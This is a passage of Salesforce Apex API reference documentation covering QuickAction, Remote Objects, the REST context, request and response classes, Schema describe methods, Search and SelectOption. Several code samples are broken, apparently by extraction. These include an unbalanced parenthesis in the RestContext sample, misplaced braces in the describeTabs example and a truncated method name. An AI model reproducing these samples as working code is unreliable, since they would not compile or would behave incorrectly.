In this sample, the trigger determines if the new contacts to be inserted are created by a quick action. If so, it sets the WhereFrom__c custom field to a value that depends on whether the quick action is global or local to the contact. Otherwise, if the inserted contacts don’t originate from a quick action, the WhereFrom__c field is set to 'NoAction'.

```java
trigger accTrig2 on Contact (before insert) {
    for (Contact c : Trigger.new) {
        if (c.getQuickActionName() == QuickAction.CreateContact) {
            c.WhereFrom__c = 'GlobaAction1';
        } else if (c.getQuickActionName() == Schema.Account.QuickAction.CreateContact) {
            c.WhereFrom__c = 'AccountAction';
        } else if (c.getQuickActionName() == null) {
            c.WhereFrom__c = 'NoAction';
        } else {
            System.assert(false);
        }
    }
}
```

This sample performs a global action—QuickAction.CreateContact—on the passed-in contact object.

```java
public Id globalCreate(Contact c) {
    QuickAction.QuickActionRequest req = new QuickAction.QuickActionRequest();
    req.quickActionName = QuickAction.CreateContact;
    req.record = c;
    QuickAction.QuickActionResult res = QuickAction.performQuickAction(req);
    return c.id;
}
```

SEE ALSO:
- QuickActionRequest Class
- QuickActionResult Class

QuickAction Methods
The following are methods for QuickAction. All methods are static.
IN THIS SECTION:

- **describeAvailableQuickActions(parentType)**
  Returns metadata information for the available quick actions of the provided parent object.

- **describeAvailableQuickActions(sObjectNames)**
  Returns the metadata information for the provided quick actions.

- **performQuickAction(quickActionRequest)**
  Performs the quick action specified in the quick action request and returns the action result.

- **performQuickAction(quickActionRequest, allOrNothing)**
  Performs the quick action specified in the quick action request with the option for partial success, and returns the result.

- **performQuickActions(quickActionRequests)**
  Performs the quick actions specified in the quick action request list and returns action results.

- **performQuickActions(quickActionRequests, allOrNothing)**
  Performs the quick actions specified in the quick action request list with the option for partial success, and returns action results.

---

**describeAvailableQuickActions (parentType)**

Returns metadata information for the available quick actions of the provided parent object.

**Signature**

```java
public static List<QuickAction.DescribeAvailableQuickActionResult> describeAvailableQuickActions(String parentType)
```

**Parameters**

- **parentType**
  Type: String
  The parent object type. This can be an object type name ('Account') or 'Global' (meaning that this method is called at a global level and not an entity level).

**Return Value**

Type: List<QuickAction.DescribeAvailableQuickActionResult>

The metadata information for the available quick actions of the parent object.

**Example**

```java
// Called for Account entity.
List<QuickAction.DescribeAvailableQuickActionResult> result1 =
    QuickAction.DescribeAvailableQuickActions('Account');

// Called at global level, not entity level.
List<QuickAction.DescribeAvailableQuickActionResult> result2 =
    QuickAction.DescribeAvailableQuickActions('Global');
```
**describeAvailableQuickActions** (sObjectNames)

Returns the metadata information for the provided quick actions.

**Signature**

```java
public static List<QuickAction.DescribeQuickActionResult> describeAvailableQuickActions(List<String> sObjectNames)
```

**Parameters**

- **sObjectNames**
  - Type: `List<String>`
  - The names of the quick actions. The quick action name can contain the entity name if it is at the entity level (e.g., 'Account.QuickCreateContact'), or 'Global' if used for the action at the global level (e.g., 'Global.CreateNewContact').

**Return Value**

- Type: `List<QuickAction.DescribeQuickActionResult>`
  - The metadata information for the provided quick actions.

**Example**

```java
// First 3 parameter values are for actions at the entity level.
// Last parameter is for an action at the global level.
List<QuickAction.DescribeQuickActionResult> result =
    QuickAction.DescribeQuickActions(new List<String> {
        'Account.QuickCreateContact', 'Opportunity.Update1',
        'Contact.Create1', 'Global.CreateNewContact' });
```

**performQuickAction** (quickActionRequest)

Performs the quick action specified in the quick action request and returns the action result.

**Signature**

```java
public static QuickAction.QuickActionResult performQuickAction(QuickAction.QuickActionRequest quickActionRequest)
```

**Parameters**

- **quickActionRequest**
  - Type: `QuickAction.QuickActionRequest`

**Return Value**

- Type: `QuickAction.QuickActionResult`

2141
**performQuickAction** *(quickActionRequest, allOrNothing)*

Performs the quick action specified in the quick action request with the option for partial success, and returns the result.

**Signature**

```java
public static QuickAction.QuickActionResult performQuickAction(QuickAction.QuickActionRequest quickActionRequest, Boolean allOrNothing)
```

**Parameters**

- `quickActionRequest`
  - Type: `QuickAction.QuickActionRequest`

- `allOrNothing`
  - Type: `Boolean`
  - Specifies whether this operation allows partial success. If you specify `false` for this argument and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.

**Return Value**

- Type: `QuickAction.QuickActionResult`

**performQuickActions** *(quickActionRequests)*

Performs the quick actions specified in the quick action request list and returns action results.

**Signature**

```java
public static List<QuickAction.QuickActionResult> performQuickActions(List<QuickAction.QuickActionRequest> quickActionRequests)
```

**Parameters**

- `quickActionRequests`
  - Type: `List<QuickAction.QuickActionRequest>`

**Return Value**

- Type: `List<QuickAction.QuickActionResult>`

**performQuickActions** *(quickActionRequests, allOrNothing)*

Performs the quick actions specified in the quick action request list with the option for partial success, and returns action results.
Signature

```java
public static List<QuickAction.QuickActionResult>
performQuickActions(List<QuickAction.QuickActionRequest> quickActionRequests, Boolean allOrNothing)
```

Parameters

- `quickActionRequests`
  Type: `List<QuickAction.QuickActionRequest>`

- `allOrNothing`
  Type: `Boolean`

  Specifies whether this operation allows partial success. If you specify `false` for this argument and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.

Return Value

Type: `List<QuickAction.QuickActionResult>`

**RemoteObjectController**

Use `RemoteObjectController` to access the standard Visualforce Remote Objects operations in your Remote Objects override methods.

**Namespace**

`System`

**Usage**

`RemoteObjectController` is supported only for use within Remote Objects methods. See “Overriding Default Remote Objects Operations” in the Visualforce Developer’s Guide for examples of how to use `RemoteObjectController` with your Visualforce pages.

**RemoteObjectController Methods**

The following are methods for `RemoteObjectController`. All methods are static.

IN THIS SECTION:

- `create(type, fields)`
  Create a record in the database.

- `del(type, recordIds)`
  Delete records from the database.

- `retrieve(type, fields, criteria)`
  Retrieve records from the database.
**create(type, fields)**

Create a record in the database.

**Signature**

```java
public static Map<String,Object> create(String type, Map<String,Object> fields)
```

**Parameters**

- `type`  
  Type: `String`  
  The sObject type on which create is being called.

- `fields`  
  Type: `Map<String,Object>`  
  The fields and values to set on the new record.

**Return Value**

Type: `Map<String,Object>`  

The return value is a map that represents the result of the Remote Objects operation. What is returned depends on the results of the call.

- **Success**  
  A map that contains a single element with the ID of the record created. For example, `{ id: 'recordId' }`.

- **Failure**  
  A map that contains a single element with the error message for the overall operation. For example, `{ error: 'errorMessage' }`.

**del(type, recordIds)**

Delete records from the database.

**Signature**

```java
public static Map<String,Object> del(String type, List<String> recordIds)
```

**Parameters**

- `type`  
  Type: `String`  
  The sObject type on which delete is being called.

- `recordIds`  
  Type: `List<String>`  
  The IDs of the records to be deleted.
Return Value
Type: Map<String,Object>
The return value is a map that represents the result of the Remote Objects operation. What is returned depends on how the method was called and the results of the call.

Single Delete—Success
A map that contains a single element with the ID of the record that was deleted. For example, `{ id: 'recordId' }`.

Batch Delete—Success
A map that contains a single element, an array of Map<String, Object> elements. Each element contains the ID of a record that was deleted and an array of errors, if there were any, for that record’s individual delete. For example, `{ results: [ { id: 'recordId', errors: ['errorMessage', ...]}, ...] }`.

Single and Batch Delete—Failure
A map that contains a single element with the error message for the overall operation. For example, `{ error: 'errorMessage' }`.

retrieve(type, fields, criteria)
Retrieve records from the database.

Signature
`public static Map<String, Object> retrieve(String type, List<String> fields, Map<String, Object> criteria)`

Parameters
- **type**
  Type: String
  The sObject type on which retrieve is being called.

- **fields**
  Type: List<String>
  The fields to retrieve for each record.

- **criteria**
  Type: Map<String, Object>
  The criteria to use when performing the query.

Return Value
Type: Map<String,Object>
The return value is a map that represents the result of the Remote Objects operation. What is returned depends on the results of the call.

Success
A map that contains the following elements.
- **records**: An array of records that match the query conditions.
- **type**: A string that indicates the type of the sObject that was retrieved.
- **size**: The number of records in the response.
Failure
A map that contains a single element with the error message for the overall operation. For example, `{ error: 'errorMessage' }`.

`update(type, recordIds, fields)`
Update records in the database.

Signature
`public static Map<String, Object> update(String type, List<String> recordIds, Map<String, Object> fields)`

Parameters
- `type`
  Type: String
  The sObject type on which update is being called.
- `recordIds`
  Type: List<String>
  The IDs of the records to be updated.
- `fields`
  Type: Map<String, Object>
  The fields to update, and the value to update each field with.

Return Value
Type: Map<String, Object>
The return value is a map that represents the result of the Remote Objects operation. What is returned depends on how the method was called and the results of the call.

Single Update—Success
A map that contains a single element with the ID of the record that was updated. For example, `{ id: 'recordId' }`.

Batch Update—Success
A map that contains a single element, an array of Map<String, Object> elements. Each element contains the ID of the record updated and an array of errors, if there were any, for that record's individual update. For example, `{ results: [ { id: 'recordId', errors: ['errorMessage', ...] }, ... ] }`.

Single and Batch Update—Failure
A map that contains a single element with the error message for the overall operation. For example, `{ error: 'errorMessage' }`.

ResetPasswordResult Class
Represents the result of a password reset.
Namespace
System

ResetPasswordResult Methods
The following are instance methods for ResetPasswordResult.

IN THIS SECTION:
getPassword()
 Returns the password generated by the System.resetPassword method call.

getPassword()
 Returns the password generated by the System.resetPassword method call.

Signature
public String getPassword()

Return Value
Type: String

RestContext Class
Contains the RestRequest and RestResponse objects.

Namespace
System

Usage
Use the System.RestContext class to access the RestRequest and RestResponse objects in your Apex REST methods.

Sample
The following example shows how to use RestContext to access the RestRequest and RestResponse objects in an Apex REST method.

```java
@RestResource(urlMapping='/MyRestContextExample/*')
global with sharing class MyRestContextExample {
    @HttpGet
global static Account doGet() {
        RestRequest req = RestContext.request;
        RestResponse res = RestContext.response;
        String accountId = req.requestURI.substring(req.requestURI.lastIndexOf('/'+1);
    }
```
RestContext Properties

The following are properties for RestContext.

IN THIS SECTION:

request
Returns the RestRequest for your Apex REST method.

response
Returns the RestResponse for your Apex REST method.

request
Returns the RestRequest for your Apex REST method.

Signature

public RestRequest request {get; set;}

Property Value
Type: System.RestRequest

response
Returns the RestResponse for your Apex REST method.

Signature

public RestResponse response {get; set;}

Property Value
Type: System.RestResponse

RestRequest Class

Represents an object used to pass data from an HTTP request to an Apex RESTful Web service method.

Namespace
System
Usage

Use the `System.RestRequest` class to pass request data into an Apex RESTful Web service method that is defined using one of the REST annotations.

Example: An Apex Class with REST Annotated Methods

The following example shows you how to implement the Apex REST API in Apex. This class exposes three methods that each handle a different HTTP request: GET, DELETE, and POST. You can call these annotated methods from a client by issuing HTTP requests.

```apex
@RestResource(urlMapping='/Account/*')
global with sharing class MyRestResource {

    @HttpDelete
global static void doDelete() {
        RestRequest req = RestContext.request;
        RestResponse res = RestContext.response;
        String accountId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);
        Account account = [SELECT Id FROM Account WHERE Id = :accountId];
        delete account;
    }

    @HttpGet
global static Account doGet() {
        RestRequest req = RestContext.request;
        RestResponse res = RestContext.response;
        String accountId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);
        Account result = [SELECT Id, Name, Phone, Website FROM Account WHERE Id = :accountId];
        return result;
    }

    @HttpPost
global static String doPost(String name,
        String phone, String website) {
        Account account = new Account();
        account.Name = name;
        account.phone = phone;
        account.website = website;
        insert account;
        return account.Id;
    }
}
```

IN THIS SECTION:
- RestRequest Constructors
- RestRequest Properties
- RestRequest Methods
RestRequest Constructors

The following are constructors for RestRequest.

IN THIS SECTION:

RestRequest()

Creates a new instance of the System.RestRequest class.

RestRequest()

Creates a new instance of the System.RestRequest class.

Signature

public RestRequest()

RestRequest Properties

The following are properties for RestRequest.

Note: While the RestRequest List and Map properties are read-only, their contents are read-write. You can modify them by calling the collection methods directly or you can use of the associated RestRequest methods shown in the previous table.

IN THIS SECTION:

headers

Returns the headers that are received by the request.

httpMethod

Returns one of the supported HTTP request methods.

params

Returns the parameters that are received by the request.

remoteAddress

Returns the IP address of the client making the request.

requestBody

Returns or sets the body of the request.

requestURI

Returns or sets everything after the host in the HTTP request string.

resourcePath

Returns the REST resource path for the request.

headers

Returns the headers that are received by the request.

Signature

public Map<String, String> headers {get; set;}
**Property Value**
Type: `Map<String, String>`

**httpMethod**
Returns one of the supported HTTP request methods.

**Signature**
```java
public String httpMethod {get; set;}
```

**Property Value**
Type: `String`
Possible values returned:
- `DELETE`
- `GET`
- `HEAD`
- `PATCH`
- `POST`
- `PUT`

**params**
Returns the parameters that are received by the request.

**Signature**
```java
public Map<String, String> params {get; set;}
```

**Property Value**
Type: `Map<String, String>`

**remoteAddress**
Returns the IP address of the client making the request.

**Signature**
```java
public String remoteAddress {get; set;}
```

**Property Value**
Type: `String`
**requestBody**
Returns or sets the body of the request.

**Signature**

```java
public Blob requestBody {get; set;}
```

**Property Value**
Type: Blob

**Usage**
If the Apex method has no parameters, then Apex REST copies the HTTP request body into the `RestRequest.requestBody` property. If there are parameters, then Apex REST attempts to deserialize the data into those parameters and the data won’t be deserialized into the `RestRequest.requestBody` property.

**requestURI**
Returns or sets everything after the host in the HTTP request string.

**Signature**

```java
public String requestURI {get; set;}
```

**Property Value**
Type: String

**Example**
For example, if the request string is `https://instance.salesforce.com/services/apexrest/Account/` then the `requestURI` is `/services/apexrest/Account/`.

**resourcePath**
Returns the REST resource path for the request.

**Signature**

```java
public String resourcePath {get; set;}
```

**Property Value**
Type: String

**Example**
For example, if the Apex REST class defines a `urlMapping` of `/MyResource/*`, the `resourcePath` property returns `/services/apexrest/MyResource/*`. 
RestRequest Methods

The following are methods for RestRequest. All are instance methods.

Note: At runtime, you typically don't need to add a header or parameter to the RestRequest object because they are automatically deserialized into the corresponding properties. The following methods are intended for unit testing Apex REST classes. You can use them to add header or parameter values to the RestRequest object without having to recreate the REST method call.

IN THIS SECTION:
addHeader(name, value)
Adds a header to the request header map.
addParameter(name, value)
Adds a parameter to the request params map.

addHeader(name, value)

Adds a header to the request header map.

Signature
public Void addHeader(String name, String value)

Parameters
name
Type: String
value
Type: String

Return Value
Type: Void

Usage
This method is intended for unit testing of Apex REST classes.
Please note that the following headers aren't allowed:

- cookie
- set-cookie
- set-cookie2
- content-length
- authorization

If any of these are used, an Apex exception will be thrown.
**addParameter(name, value)**

Adds a parameter to the request params map.

**Signature**

```java
public Void addParameter(String name, String value)
```

**Parameters**

- `name`
  - Type: String
- `value`
  - Type: String

**Return Value**

Type: Void

**Usage**

This method is intended for unit testing of Apex REST classes.

**RestResponse Class**

Represents an object used to pass data from an Apex RESTful Web service method to an HTTP response.

**Namespace**

**System**

**Usage**

Use the `System.RestResponse` class to pass response data from an Apex RESTful web service method that is defined using one of the REST annotations on page 94.

**IN THIS SECTION:**

- RestResponse Constructors
- RestResponse Properties
- RestResponse Methods

**RestResponse Constructors**

The following are constructors for `RestResponse`. 
IN THIS SECTION:

RestResponse()

Creates a new instance of the System.RestResponse class.

RestResponse()

Creates a new instance of the System.RestResponse class.

Signature

public RestResponse()

RestResponse Properties

The following are properties for RestResponse.

Note: While the RestResponse List and Map properties are read-only, their contents are read-write. You can modify them by calling the collection methods directly or you can use the associated RestResponse methods shown in the previous table.

IN THIS SECTION:

responseBody

Returns or sets the body of the response.

headers

Returns the headers to be sent to the response.

statusCode

Returns or sets the response status code.

responseBody

Returns or sets the body of the response.

Signature

public Blob responseBody {get; set;}

Property Value

Type: Blob

Usage

The response is either the serialized form of the method return value or it's the value of the responseBody property based on the following rules:

• If the method returns void, then Apex REST returns the response in the responseBody property.
• If the method returns a value, then Apex REST serializes the return value as the response.
**headers**

Returns the headers to be sent to the response.

**Signature**

```java
public Map<String, String> headers {get; set;}
```

**Property Value**

Type: `Map<String, String>`

---

**statusCode**

Returns or sets the response status code.

**Signature**

```java
public Integer statuscode {get; set;}
```

**Property Value**

Type: `Integer`

---

**Status Codes**

The following are valid response status codes. The status code is returned by the `RestResponse.statusCode` property.

- **Note:** If you set the `RestResponse.statusCode` property to a value that's not listed in the table, then an HTTP status of 500 is returned with the error message "Invalid status code for HTTP response: nnn" where nnn is the invalid status code value.

### RestResponse Methods

The following are instance methods for `RestResponse`.

- **Note:** At runtime, you typically don’t need to add a header to the `RestResponse` object because it’s automatically deserialized into the corresponding properties. The following methods are intended for unit testing Apex REST classes. You can use them to add header or parameter values to the `RestRequest` object without having to recreate the REST method call.

#### addHeader(name, value)

Adds a header to the response header map.

**Signature**

```java
public Void addHeader(String name, String value)
```

**Parameters**

- `name`
  - Type: `String`

- `value`
  - Type: `String`
Return Value
Type: Void

Usage
Please note that the following headers aren’t allowed:
- cookie
- set-cookie
- set-cookie2
- content-length
- authorization
If any of these are used, an Apex exception will be thrown.

Scheduled Interface
The class that implements this interface can be scheduled to run at different intervals.

Namespace
System

SEE ALSO:
Apex Scheduler

Scheduled Methods
The following are methods for Schedulable.

IN THIS SECTION:
execute(context)
Executes the scheduled Apex job.

execute(context)
Executes the scheduled Apex job.

Signature
public Void execute(SchedulableContext context)

Parameters
context
Type: System.SchedulableContext
Contains the job ID.
Return Value
Type: Void

SchedulableContext Interface
Represents the parameter type of a method in a class that implements the Schedulable interface and contains the scheduled job ID. This interface is implemented internally by Apex.

Namespace
System

SEE ALSO:
  Schedulable Interface

SchedulableContext Methods
The following are methods for SchedulableContext.

IN THIS SECTION:
  getTriggerId()
  Returns the ID of the CronTrigger scheduled job.

getTriggerId()
Returns the ID of the CronTrigger scheduled job.

Signature
public Id getTriggerId()

Return Value
Type: ID

Schema Class
Contains methods for obtaining schema describe information.

Namespace
System

Schema Methods
The following are methods for Schema. All methods are static.
IN THIS SECTION:

- **getGlobalDescribe()**
  Returns a map of all sObject names (keys) to sObject tokens (values) for the standard and custom objects defined in your organization.

- **describeDataCategoryGroups(sObjectNames)**
  Returns a list of the category groups associated with the specified objects.

- **describeSObjects(sObjectTypes)**
  Describes metadata (field list and object properties) for the specified sObject or array of sObjects.

- **describeTabs()**
  Returns information about the standard and custom apps available to the running user.

- **GroupStructures(pairs)**
  Returns available category groups along with their data category structure for objects specified in the request.

### getGlobalDescribe()

Returns a map of all sObject names (keys) to sObject tokens (values) for the standard and custom objects defined in your organization.

**Signature**

```java
public static Map<String, Schema.SObjectType> getGlobalDescribe()
```

**Return Value**

Type: `Map<String, Schema.SObjectType>`

**Usage**

For more information, see [Accessing All sObjects](#).

**Example**

```java
Map<String, Schema.SObjectType> gd = Schema.getGlobalDescribe();
```

### describeDataCategoryGroups(sObjectNames)

Returns a list of the category groups associated with the specified objects.

**Signature**

```java
public static List<Schema.DescribeDataCategoryGroupResult> describeDataCategoryGroups(String sObjectNames)
```

**Parameters**

- **sObjectNames**
  Type: `List<String>`
Return Value
Type: List<Schema.DescribeDataCategoryGroupResult>

Usage
You can specify one of the following sObject names:
- KnowledgeArticleVersion—to retrieve category groups associated with article types.
- Question—to retrieve category groups associated with questions.

For more information and code examples using describeDataCategoryGroups, see Accessing All Data Categories Associated with an sObject.
For additional information about articles and questions, see “Managing Articles and Translations” and “Answers Overview” in the Salesforce online help.

describeSObjects (sObjectTypes)
Describes metadata (field list and object properties) for the specified sObject or array of sObjects.

Signature
public static List<Schema.DescribeSObjectResult> describeSObjects(List<String> sObjectTypes)

Parameters
sObjectTypes
Type: List<String>
The sObjectTypes argument is a list of sObject type names you want to describe.

Return Value
Type: List<Schema.DescribeSObjectResult>

Usage
This method is similar to the getDescribe method on the Schema.sObjectType token. Unlike the getDescribe method, this method allows you to specify the sObject type dynamically and describe more than one sObject at a time.
You can first call getGlobalDescribe to retrieve a list of all objects for your organization, then iterate through the list and use describeSObjects to obtain metadata about individual objects.

Example
Schema.DescribeSObjectResult[] descResult = Schema.describeSObjects(new String[]{'Account','Contact'});

describeTabs ()
Returns information about the standard and custom apps available to the running user.
Signature

public static List<Schema.DescribeTabSetResult> describeTabs()

Return Value

Type: List<Schema.DescribeTabSetResult>

Usage

An app is a group of tabs that works as a unit to provide application functionality. For example, two of the standard Salesforce apps are “Sales” and “Call Center.”

The `describeTabs` method returns the minimum required metadata that can be used to render apps in another user interface. Typically, this call is used by partner applications to render Salesforce data in another user interface, such as in a mobile or connected app.

In the Salesforce user interface, users have access to standard apps (and might also have access to custom apps) as listed in the Salesforce app menu at the top of the page. Selecting an app name in the menu allows the user to switch between the listed apps at any time.

Note: The “All Tabs” tab isn’t included in the list of described tabs.

Example

This example shows how to call the `describeTabs` method.

```
Schema.DescribeTabSetResult[] tabSetDesc = Schema.describeTabs();
```

This is a longer example that shows how to obtain describe metadata information for the Sales app. For each tab, the example gets describe information, such as the icon URL, whether the tab is custom or not, and colors. The describe information is written to the debug output.

```
// Get tab set describes for each app
List<Schema.DescribeTabSetResult> tabSetDesc = Schema.describeTabs();

// Iterate through each tab set describe for each app and display the info
for(DescribeTabSetResult tsr : tabSetDesc) {
    String appLabel = tsr.getLabel();
    System.debug('Label: ' + appLabel);
    System.debug('Logo URL: ' + tsr.getLogoUrl());
    System.debug('isSelected: ' + tsr.isSelected());
    String ns = tsr.getNamespace();
    if (ns == '') {
        System.debug('The ' + appLabel + ' app has no namespace defined.');
    } else {
        System.debug('Namespace: ' + ns);
    }
}

// Display tab info for the Sales app
if (appLabel == 'Sales') {
    List<Schema.DescribeTabResult> tabDesc = tsr.getTabs();
    System.debug('-- Tab information for the Sales app --');
    for(Schema.DescribeTabResult tr : tabDesc) {
        System.debug('getLabel: ' + tr.getLabel());
    }
}
```
System.debug('getColors: ' + tr.getColors());
System.debug('getIconUrl: ' + tr.getIconUrl());
System.debug('getIcons: ' + tr.getIcons());
System.debug('getMiniIconUrl: ' + tr.getMiniIconUrl());
System.debug('getSobjectName: ' + tr.getSobjectName());
System.debug('getUrl: ' + tr.getUrl());
System.debug('isCustom: ' + tr.isCustom());

// Example debug statement output
// DEBUG|Label: Sales
// DEBUG|Logo URL: https://na1.salesforce.com/img/seasonLogos/2014_winter_aloha.png
// DEBUG|isSelected: true
// DEBUG|The Sales app has no namespace defined. // DEBUG|-- Tab information for the Sales app --
// (This is an example debug output for the Accounts tab.)
// DEBUG|getLabel: Accounts
// DEBUG|getColors:
// Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme4;],
// Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme3;],
// Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme2;],
// DEBUG|getIconUrl: https://na1.salesforce.com/img/icon/accounts32.png
// DEBUG|getIcons:
// Schema.DescribeIconResult[getContentType=image/png;getHeight=32;getTheme=theme3;
// getUrl=https://na1.salesforce.com/img/icon/accounts32.png;getWidth=32;],
// Schema.DescribeIconResult[getContentType=image/png;getHeight=16;getTheme=theme3;
// getUrl=https://na1.salesforce.com/img/icon/accounts16.png;getWidth=16;]
// DEBUG|getMiniIconUrl: https://na1.salesforce.com/img/icon/accounts16.png
// DEBUG|getSobjectName: Account
// DEBUG|getUrl: https://na1.salesforce.com/001/o
// DEBUG|isCustom: false

GroupStructures(pairs)
Returns available category groups along with their data category structure for objects specified in the request.

Signature
public static List<Schema.DescribeDataCategoryGroupStructureResult> describeDataCategoryGroupStructures(List<Schema.DataCategoryGroupSobjectTypePair> pairs)

Parameters
pairs
Type: List<Schema.DataCategoryGroupSobjectTypePair>

The pairs argument is one or more category groups and objects to query Schema.DataCategoryGroupSobjectTypePairs. Visible data categories are retrieved for the specified object. For more information on data category group visibility, see “About Category Group Visibility” in the Salesforce online help.
Search Class

Use the methods of the Search class to perform dynamic SOSL queries.

Namespace

System

Search Methods

The following are static methods for Search.

IN THIS SECTION:

find(searchQuery)
Performs a dynamic SOSL query that can include the SOSL WITH SNIPPET clause. Snippets provide more context for users in Salesforce Knowledge article search results.

query(query)
Performs a dynamic SOSL query.

suggest(searchQuery, sObjectType, suggestions)
Returns a list of records or Salesforce Knowledge articles whose names or titles match the user's search query string. Use this method to provide users with shortcuts to navigate to relevant records or articles before they perform a search.

find(searchQuery)
Performs a dynamic SOSL query that can include the SOSL WITH SNIPPET clause. Snippets provide more context for users in Salesforce Knowledge article search results.

Signature

public static Search.SearchResults find(String searchQuery)

Parameters

searchQuery
Type: String

A SOSL query string.

Return Value

Type: Search.SearchResults

Usage

Use this method wherever a static SOSL query can be used, such as in regular assignment statements and for loops.
See Use Dynamic SOSL to Return Salesforce Knowledge Article Snippets on page 178.

SEE ALSO:
  
  `get(sObjectType)`
  
  Dynamic SOSL

**query**(query)

Performs a dynamic SOSL query.

**Signature**

```java
public static sObject[sObject[]] query(String query)
```

**Parameters**

`query`

Type: `String`

A SOSL query string.

To create a SOSL query that includes the `WITH SNIPPET` clause, use the `Search.find(String searchQuery)` method instead.

**Return Value**

Type: `sObject[sObject[]]`

**Usage**

This method can be used wherever a static SOSL query can be used, such as in regular assignment statements and `for` loops.

For more information, see Dynamic SOSL.

**suggest**(searchQuery, sObjectType, suggestions)

Returns a list of records or Salesforce Knowledge articles whose names or titles match the user's search query string. Use this method to provide users with shortcuts to navigate to relevant records or articles before they perform a search.

**Signature**

```java
public static Search.SuggestionResults suggest(String searchQuery, String sObjectType, Search.SuggestionOption suggestions)
```

**Parameters**

`searchQuery`

Type: `String`

A SOSL query string.

`sObjectType`

Type: `String`
An sObject type.

options
Type: Search.SuggestionOption

This object contains options that change the suggestion results.

If the searchQuery returns KnowledgeArticleVersion objects, pass an options parameter with a Search.SuggestionOption object that contains a language KnowledgeSuggestionFilter and a publish status KnowledgeSuggestionFilter.

For suggestions for all other record types, the only supported option is a limit, which sets the maximum number of suggestions returned.

Return Value
Type: SuggestionResults

Usage

Use this method to return:

Suggestions for Salesforce Knowledge articles (KnowledgeArticleVersion)
Salesforce Knowledge must be enabled in your organization. The user must have the “View Articles” permission enabled.

The articles suggested include only the articles the user can access, based on the data categories and article types the user has permissions to view.

Suggestions for other record types
The records suggested include only the records the user can access.

This method returns a record if its name field starts with the text in the search string. This method automatically appends an asterisk wildcard (*) at the end of the search string. Records that contain the search string within a word aren’t considered a match.

Records are suggested if the entire search string is found in the record name, in the same order as specified in the search string. For example, the text string national u is treated as national u* and returns “National Utility” and “National Urban Company” but not “National Company Utility” or “Urban National Company”.

Note: If the user’s search query contains quotation marks or wildcards, those symbols are automatically removed from the query string in the URI.

Suggest Salesforce Knowledge Articles

SelectOption Class

A SelectOption object specifies one of the possible values for a Visualforce selectCheckboxes, selectList, or selectRadio component.

Namespace

System

SelectOption consists of a label that is displayed to the end user, and a value that is returned to the controller if the option is selected. A SelectOption can also be displayed in a disabled state, so that a user cannot select it as an option, but can still view it.
**Instantiation**

In a custom controller or controller extension, you can instantiate a `SelectOption` in one of the following ways:

- `SelectOption option = new SelectOption(value, label, isDisabled);`

  where `value` is the String that is returned to the controller if the option is selected by a user, `label` is the String that is displayed to the user as the option choice, and `isDisabled` is a Boolean that, if true, specifies that the user cannot select the option, but can still view it.

- `SelectOption option = new SelectOption(value, label);`

  where `value` is the String that is returned to the controller if the option is selected by a user, and `label` is the String that is displayed to the user as the option choice. Because a value for `isDisabled` is not specified, the user can both view and select the option.

**Example**

The following example shows how a list of `SelectOptions` objects can be used to provide possible values for a `selectCheckboxes` component on a Visualforce page. In the following custom controller, the `getItems` method defines and returns the list of possible `SelectOption` objects:

```java
public class sampleCon {

    String[] countries = new String[]{};

    public PageReference test() {
        return null;
    }

    public List<SelectOption> getItems() {
        List<SelectOption> options = new List<SelectOption>();
        options.add(new SelectOption('US','US'));
        options.add(new SelectOption('CANADA','Canada'));
        options.add(new SelectOption('MEXICO','Mexico'));
        return options;
    }

    public String[] getCountries() {
        return countries;
    }

    public void setCountries(String[] countries) {
        this.countries = countries;
    }
}
```

In the following page markup, the `<apex:selectOptions>` tag uses the `getItems` method from the controller above to retrieve the list of possible values. Because `<apex:selectOptions>` is a child of the `<apex:selectCheckboxes>` tag, the options are displayed as checkboxes:

```xml
<apex:page controller="sampleCon">
<apex:form>
```
SelectOption Class

IN THIS SECTION:
SelectOption Constructors
SelectOption Methods

SelectOption Constructors

The following are constructors for SelectOption.

IN THIS SECTION:
SelectOption(value, label)
SelectOption(value, label, isDisabled)

SelectOption(value, label)

Creates a new instance of the SelectOption class using the specified value and label.

Signature

public SelectOption(String value, String label)

Parameters

value

Type: String

The string that is returned to the Visualforce controller if the option is selected by a user.

label

Type: String

The string that is displayed to the user as the option choice.
**SelectOption(value, label, isDisabled)**

Creates a new instance of the `SelectOption` class using the specified value, label, and disabled setting.

**Signature**

```java
public SelectOption(String value, String label, Boolean isDisabled)
```

**Parameters**

- **value**
  - Type: `String`
  - The string that is returned to the Visualforce controller if the option is selected by a user.

- **label**
  - Type: `String`
  - The string that is displayed to the user as the option choice.

- **isDisabled**
  - Type: `Boolean`
  - If set to true, the option can’t be selected by the user but can still be viewed.

**SelectOption Methods**

The following are methods for `SelectOption`. All are instance methods.

IN THIS SECTION:

- `getDisabled()`
  - Returns the current value of the `SelectOption` object’s `isDisabled` attribute.

- `getEscapeItem()`
  - Returns the current value of the `SelectOption` object’s `itemEscaped` attribute.

- `getLabel()`
  - Returns the option label that is displayed to the user.

- `getValue()`
  - Returns the option value that is returned to the controller if a user selects the option.

- `setDisabled(isDisabled)`
  - Sets the value of the `SelectOption` object’s `isDisabled` attribute.

- `setEscapeItem(itemsEscaped)`
  - Sets the value of the `SelectOption` object’s `itemEscaped` attribute.

- `setLabel(label)`
  - Sets the value of the option label that is displayed to the user.

- `setValue(value)`
  - Sets the value of the option value that is returned to the controller if a user selects the option.
**getDisabled()**
Returns the current value of the SelectOption object's `isDisabled` attribute.

**Signature**
```
public Boolean getDisabled()
```

**Return Value**
Type: Boolean

**Usage**
If `isDisabled` is set to `true`, the user can view the option, but cannot select it. If `isDisabled` is set to `false`, the user can both view and select the option.

**getEscapeItem()**
Returns the current value of the SelectOption object's `itemEscaped` attribute.

**Signature**
```
public Boolean getEscapeItem()
```

**Return Value**
Type: Boolean

**Usage**
If `itemEscaped` is set to `true`, sensitive HTML and XML characters are escaped in the HTML output generated by this component. If `itemEscaped` is set to `false`, items are rendered as written.

**getLabel()**
Returns the option label that is displayed to the user.

**Signature**
```
public String getLabel()
```

**Return Value**
Type: String

**getValue()**
Returns the option value that is returned to the controller if a user selects the option.
Signature
public String getValue()

Return Value
Type: String

_setDisabled(isDisabled)_
Sets the value of the SelectOption object's _isDisabled_ attribute.

Signature
